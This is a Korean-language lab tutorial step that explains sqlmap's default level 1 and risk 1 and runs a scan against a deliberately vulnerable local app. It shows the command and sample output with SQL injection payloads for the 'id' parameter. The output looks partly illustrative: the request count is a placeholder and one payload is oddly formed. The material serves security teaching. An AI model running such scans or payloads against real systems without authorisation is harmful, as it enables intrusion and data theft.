기본 레벨 (1) 및 위험도 (1) 이해하기
이 단계에서는 level 또는 risk를 지정하지 않고 기본적인 sqlmap 스캔을 수행합니다. 기본적으로 sqlmap은 --level=1 및 --risk=1을 사용합니다. 이것은 가장 포괄적이지 않고 가장 안전한 스캔입니다.
Level 1은 GET 및 POST 매개변수만 테스트합니다. Risk 1은 일반적으로 웹 애플리케이션에 무해한 페이로드, 예를 들어 기본적인 불리언 기반 (boolean-based) 및 오류 기반 (error-based) 인젝션 테스트를 사용합니다.
귀하를 위해 설정된 취약한 애플리케이션에 대해 기본 스캔을 실행해 보겠습니다. --batch 옵션은 모든 질문에 기본 선택으로 자동 응답하여 스캔을 비대화형으로 만듭니다.
터미널에서 다음 명령을 실행하십시오.
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch
sqlmap이 테스트 프로세스를 시작하는 것을 볼 수 있습니다. 마지막 요약에서 수행된 요청 수와 발견된 취약점을 주의 깊게 살펴보십시오.
...
[INFO] 'Boolean-based blind - WHERE or HAVING clause' 테스트 중
[INFO] 'Error-based - WHERE or HAVING clause' 테스트 중
[INFO] 'Time-based blind' 테스트 중
...
[INFO] GET 매개변수 'id'에 취약점이 있습니다. 다른 매개변수(있는 경우)에 대한 테스트를 계속하시겠습니까? [y/N] N
sqlmap은 총 XXX개의 HTTP(s) 요청으로 다음 인젝션 지점을 식별했습니다.
---
매개변수: id (GET)
유형: boolean-based blind
제목: AND boolean-based blind - WHERE or HAVING clause
페이로드: id=1 AND 2129=2129
유형: error-based
제목: SQLite OR error-based - CUME_DIST
페이로드: id=1 OR 1 GROUP BY CUME_DIST(1)
유형: time-based blind
제목: SQLite > 2.0 AND time-based blind
페이로드: id=1 AND 7415=CASE WHEN (substr(sqli,1,1)='S') THEN 7415 ELSE 0 END
---
[INFO] 가져온 데이터는 '/home/labex/.local/share/sqlmap/output/127.0.0.1' 아래의 텍스트 파일에 기록되었습니다.
...
이 초기 스캔은 비교적 빠르며 id 매개변수의 취약점을 확인합니다.